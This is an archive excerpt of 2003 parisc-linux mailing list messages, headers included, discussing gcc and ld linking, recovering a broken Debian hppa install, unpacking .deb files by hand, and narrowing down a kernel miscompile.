	by dsl2.external.hp.com (Postfix) with ESMTP id AE0254834
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 Jan 2003 10:21:35 -0700 (MST)
Original-Received: from [62.235.168.75] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18cTzO-0007PP-00; Sat, 25 Jan 2003 18:21:06 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021226 Debian/1.2.1-9
In-Reply-To: <200301250423.h0P4Noxq000220@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17486


John David Anglin wrote:
>>That said, always in the continuity of this idea, I also notice that ld is
>>used to build some kernel parts. Is it  possible (even manually just for
>>test) to use gcc in place of ld? (if yes, howto?)
> 
> 
> When linking, gcc is just a front end for ld.  You can see what happens
> with "-v", "-Wl,-v", "-Wl,-debug", etc.  You can pass any option that
> you want to ld using the gcc "-Wl" option.  Gcc doesn't doing any linking
> itself.
> 

Ha Ok.

My confusion came from Helge Deller mail:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2003-January/018970.html>

But he spook about g++ (which I presume is different of gcc)?

Thanks,
	Joel



From - Thu Nov 08 21:26:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Sat, 25 Jan 2003 12:44:32 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200301251744.h0PHiWGk001089__39587.5800554224$1416622144$gmane$org@hiauly1.hia.nrc.ca>
References: <3E32D7C0.9020703@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622144 20545 80.91.229.3 (22 Nov 2014 02:09:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:04 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, tausq@debian.org,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: joel.soete@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 25 10:44:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2ABE0483A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 Jan 2003 10:44:36 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0PHiXot001091;
	Sat, 25 Jan 2003 12:44:33 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0PHiWGk001089;
	Sat, 25 Jan 2003 12:44:32 -0500 (EST)
In-Reply-To: <3E32D7C0.9020703@tiscali.be> from "Joel Soete" at Jan 25, 2003 06:30:24 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17487

> My confusion came from Helge Deller mail:
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2003-January/018970.html>
> 
> But he spook about g++ (which I presume is different of gcc)?

No, it also uses ld.  However, its defaults with respect to libgcc linking
and exception support differ (ie, it sets defaults suitable to C++).  You
can link C++ code using gcc if you provide the correct options.  The
libtool package now uses gcc for linking as its options are more standardized
than those for ld.  I should note that it isn't possible to link g++ and
some gcc code directly with ld unless the system doesn't require collect2.
Collect2 is used to determine and link in code needed for the running of
initializers and finalizers.  The gcc/g++ drivers run collect2, and it
runs ld.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Um... WTF?
Date: Sat, 25 Jan 2003 14:12:32 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20030125211232.GB28899@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0301241520210.25246-100000@jordan.eng.nateng.com> <20030125015308.GC6228@dsl2.external.hp.com> <20030125171749.F674@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622144 20546 80.91.229.3 (22 Nov 2014 02:09:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 25 14:12:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id C05FA482A; Sat, 25 Jan 2003 14:12:32 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030125171749.F674@neep.com.au>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17488

On Sat, Jan 25, 2003 at 05:17:51PM +0800, Andrew Shugg wrote:
> And glibc, gcc, binutils, & documentation ... everything hppa but not
> Debian.  =)

true.

> Grant, do you mean "lucky" as in "if you've got sash installed"?

yes. It's not installed by default...I'm thinking I should
install it on any machine running unstable though...
nearly all of my machines (parisc, x86, ia64) are running testing.

grant


From - Thu Nov 08 21:26:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bwheadley@earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Um... WTF?
Date: Sat, 25 Jan 2003 18:13:58 -0600
Lines: 67
Approved: news@gmane.org
Message-ID: <3E332846.5030105@earthlink.net>
References: <Pine.LNX.4.33.0301241520210.25246-100000@jordan.eng.nateng.com> <20030125015308.GC6228@dsl2.external.hp.com> <20030125171749.F674@neep.com.au> <20030125141130.7495a051.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622144 20549 80.91.229.3 (22 Nov 2014 02:09:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sir Ace <chandler@nateng.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 25 17:10:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from scaup.mail.pas.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 532184829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 Jan 2003 17:10:02 -0700 (MST)
Original-Received: from h-66-167-71-246.chcgilgm.covad.net ([66.167.71.246] helo=cactus.bheadley.org)
	by scaup.mail.pas.earthlink.net with esmtp (Exim 3.33 #1)
	id 18caN4-0000ZQ-00; Sat, 25 Jan 2003 16:09:58 -0800
Original-Received: from localhost.localdomain ([127.0.0.1] helo=earthlink.net)
	by cactus.bheadley.org with esmtp (Exim 3.36 #1 (Debian))
	id 18caQx-00029x-00; Sat, 25 Jan 2003 18:13:59 -0600
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3a) Gecko/20021212
X-Accept-Language: en-us, en
In-Reply-To: <20030125141130.7495a051.varenet@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17489

Thibaut VARENE wrote:
> On Sat, 25 Jan 2003 17:17:51 +0800
> "Andrew Shugg" <andrew@neep.com.au> wrote:
> 
> 
>>Grant Grundler said:
>>
>>>On Fri, Jan 24, 2003 at 03:37:28PM -0800, Sir Ace wrote:
>>>
>>>>Herein lies the problem, some how EVERY DAMN THING on the system
>>>>seems to be built against ncurses,
>>>

Consider how many things are linked against libreadline, so you have 
intra-line editing on command lines. They all reference libncurses. Not 
a complaint against debian, pa-risc debian, any given linux dist. Maybe 
a complaint against certain GNU tools and life in general.

Let's back up: you originally had this problem running 'make menuconfig' 
in the kernel source tree, which seemingly got upset about curses, and 
yet as really referring to something in libsupc++.a. That's an integral 
part of your gcc/g++ installation, which leads me to believe you either 
had an unsuccessful install.

> /tmp/ccywfbmB.o(.eh_frame+0x11): undefined reference to
> `__gxx_personality_v0'
> collect2: ld returned 1 exit status

Right now, you can't get into the system because of this issue. You 
could telnet or ssh in, if you can specify a statically-linked shell to 
run. /bin/sash and /bin/busybox are statically linked. Of the two, I 
prefer busybox, because it also has scaled-down common unix tools 
built-in. If this works, great, you can get and do some cleaning.

If this doesn't work, you could boot off of the CDROM, and instead of 
going through the Debian-fun-and-games install, choose 'execute a shell' 
from their menu. Then, you can manually mount the hard disk, cd over 
there, and do your scrubbing that way.

Lots of lots of fun. BTW, do you know how to install a .deb file without 
the benefit of a working dpkg/dselect/apt et al?

1. A deb file is really an archive built by ar. E.g.,

ar tv apt-listbugs_0.0.1hanzubon6_all.deb
rw-r--r-- 0/0      4 Dec 17 20:07 2002 debian-binary
rw-r--r-- 0/0   2002 Dec 17 20:07 2002 control.tar.gz
rw-r--r-- 0/0  13902 Dec 17 20:07 2002 data.tar.gz

2. Those .tar.gz file really are gzipped tarfiles.

Of these, control.tar.gz is a tar file with the pre-, post-install 
scripts. data.tar.gz is the tarfile of the binaries you are installing.

That is about enough to get you in and out of trouble several times. 
Good luck!






-- 
____               .:.                 ____
Bryan W. Headley - bwheadley@earthlink.net



From - Thu Nov 08 21:26:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Sat, 25 Jan 2003 21:46:56 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20030126044656.GB6057__9725.40828302062$1416622145$gmane$org@dsl2.external.hp.com>
References: <3DED9A6600005A12@ocpmta3.freegates.net> <3E1AA52C0000167E@ocpmta1.freegates.net> <20030116014145.GC8543@dsl2.external.hp.com> <20030121235716.GA2193@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622145 20551 80.91.229.3 (22 Nov 2014 02:09:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 25 21:46:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 7C0674829; Sat, 25 Jan 2003 21:46:56 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030121235716.GA2193@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17490

On Tue, Jan 21, 2003 at 04:57:16PM -0700, Grant Grundler wrote:
> Stephan Eranian had a good idea - replace .o's in the gcc 3.2
> built kernel tree with .o's built using gcc-3.0. Then maybe we
> can narrow down where the issue is.

this worked. replacing drivers/char/pty.o with one built using
gcc-3.0 resulted in a kernel that ssh logins wouldn't crash.

Any advice on comparing .o's? or rather compare .S files?

I can probably also narrow down the code path a bit more.
I'm suspecting the initialization before calling tty_register_driver().

thanks,
grant


From - Thu Nov 08 21:26:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Sun, 26 Jan 2003 00:09:49 -0500 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <200301260509.h0Q59ntl001762__17382.5076235973$1416622145$gmane$org@hiauly1.hia.nrc.ca>
References: <20030126044656.GB6057@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622145 20552 80.91.229.3 (22 Nov 2014 02:09:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:05 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 25 22:09:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D5594829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 Jan 2003 22:09:53 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0Q59oot001764;
	Sun, 26 Jan 2003 00:09:50 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0Q59ntl001762;
	Sun, 26 Jan 2003 00:09:49 -0500 (EST)
In-Reply-To: <20030126044656.GB6057@dsl2.external.hp.com> from "Grant Grundler" at Jan 25, 2003 09:46:56 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17491

> Any advice on comparing .o's? or rather compare .S files?

You could try using "objdump -d" on the .o's, then diff'ing.  However
the diff might be large.  Probably, comparing .S files would be
best.  Don't use "-g".  However, if you find a difference that looks
suspicious, "-g" will help you locate the source line.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Ok all
Date: Sun, 26 Jan 2003 00:17:31 -0800 (PST)
Lines: 70
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301252356110.25913-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622145 20556 80.91.229.3 (22 Nov 2014 02:09:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:05 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 26 01:13:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D7FC4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Jan 2003 01:13:29 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0Q8RiT02652
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Jan 2003 00:27:44 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0Q8HVM25923
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Jan 2003 00:17:31 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17492

  I would like to say thanks for everyone that replied to the questions I
asked, and apologize for my rant the other day.
  I was told by many people {don't have access to the list of who at the
moment}, that this was the list to bug with the debian problems.
Anyway that said, some quick things:

-------------------------------------------------------------------------
> Why remove the existing package?
> I overwrite existing files when I need to.

The install paths are different than the paths that were used byt the
packages.
-------------------------------------------------------------------------
> yes. The CD has a shell which will let you fix *most* things.

> You might also try booting with "init=/bin/bash" or if you are lucky,
> "init=/bin/sash". Then by hand re-install the libncurses.

Ahh, just like IRIX, thanks...
-------------------------------------------------------------------------
> uhm...what are you building that takes 4 days?
> Not even glibc or xfree86 takes that long.

On 128 Meg of ram, and 1 100Mhz pa7200, openssl, openssh, 2.4.20 kernel,
gcc 2.95.3, pine, and several other apps...  Remembering things don't
normally build the first time around, and tweaks must be made...
-------------------------------------------------------------------------

> What's more, no need to use CAPS, exclamations and other insults to ask
> questions or report problems. You won't get any result but upsetting
> guys who did a _damn good work_ to make the stuff work.

Ok, then I will give credit to everyone who got it this far, I am happy I
might be able to get the workstations here in my office off of HP/UX 10.20
and into this decade, even if I have to setup NFS-root clients to do it.

But, I really would like to emphasise, how much I really don't appreciate
the linking or curses into so many things.  I built my own dist from
scratch for the Hitachi-SuperH, and I had little to no help at the time,
since there was no one working on it yet.  I found no reason to link
libraries in that weren't needed, especially since I was building from
scratch, and it was more than I needed in the beginings....  Noteably
hppa-linux is much farther along than my dist was or is, so credit
to the folks there...  But like it has been said this is the wrong
liste to rant on.

--------------------------------------------------------------------------

> Lots of lots of fun. BTW, do you know how to install a .deb file without
> the benefit of a working dpkg/dselect/apt et al?

I did not until a day after I wrote that mail.  I work in a different
state than where I live, so I copied the .debs from the cd and looked it
up when I got home.   Only to find out I could not login to use what I
read about them..  It sucked...
I know about slackware pacakges and rpms, but I have never had to use
debian as a dist until I started working trying to figure out how to get
linux on my boxes.
Thanks for your quick tutorial, now I have it written down in my email so
I can find it faster should I forget what I read.

-------------------------------------------------------------------------


So.... in closing, thanks for the answers, and not killing me for sending
the mail in the first place.

  --Sir Ace



From - Thu Nov 08 21:26:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max <max@avtlg.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boot warning 80F5.
Date: Sun, 26 Jan 2003 18:36:49 +0300
Lines: 9
Approved: news@gmane.org
Message-ID: <3E340091.2000003@avtlg.ru>
Reply-To: max@avtlg.ru
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622146 20559 80.91.229.3 (22 Nov 2014 02:09:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 26 08:38:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from advent.avtlg.ru (advent.avtlg.ru [217.107.156.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 746BF4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Jan 2003 08:38:25 -0700 (MST)
Original-Received: from avtlg.ru (0-42.dial.avtlg.ru [217.107.148.231])
	by advent.avtlg.ru (8.11.3/8.11.3) with ESMTP id h0QFcNd51380
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Jan 2003 18:38:23 +0300 (MSK)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:0.9.9) Gecko/20020513
X-Accept-Language: ru, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17493

Hi,

    I have HP 9000/809/k100. When my box boot from Debian 3.0r1 hppa CD
( Interact with IPL (Y or N)?> Y ), i've got message "Cannot find ENTRY
TEST Status= -4" and WARN 80F5 on LCD panel status. What is that means?
What do I do?
Where can I find other WARN description ?



From - Thu Nov 08 21:26:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Buffalo Bill <buffalo@gediegos.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems with Woody on 710.
Date: 26 Jan 2003 16:44:40 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <1043595882.23219.12.camel@jupiter>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622146 20563 80.91.229.3 (22 Nov 2014 02:09:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:06 +0000 (UTC)
To: Parisc-Linux "List (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 26 08:43:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from post.webmailer.de (natsmtp01.webmailer.de [192.67.198.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71568482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Jan 2003 08:43:02 -0700 (MST)
Original-Received: from [192.168.77.16] (p50915F9A.dip.t-dialin.net [80.145.95.154])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id QAA06406
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Jan 2003 16:42:57 +0100 (MET)
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
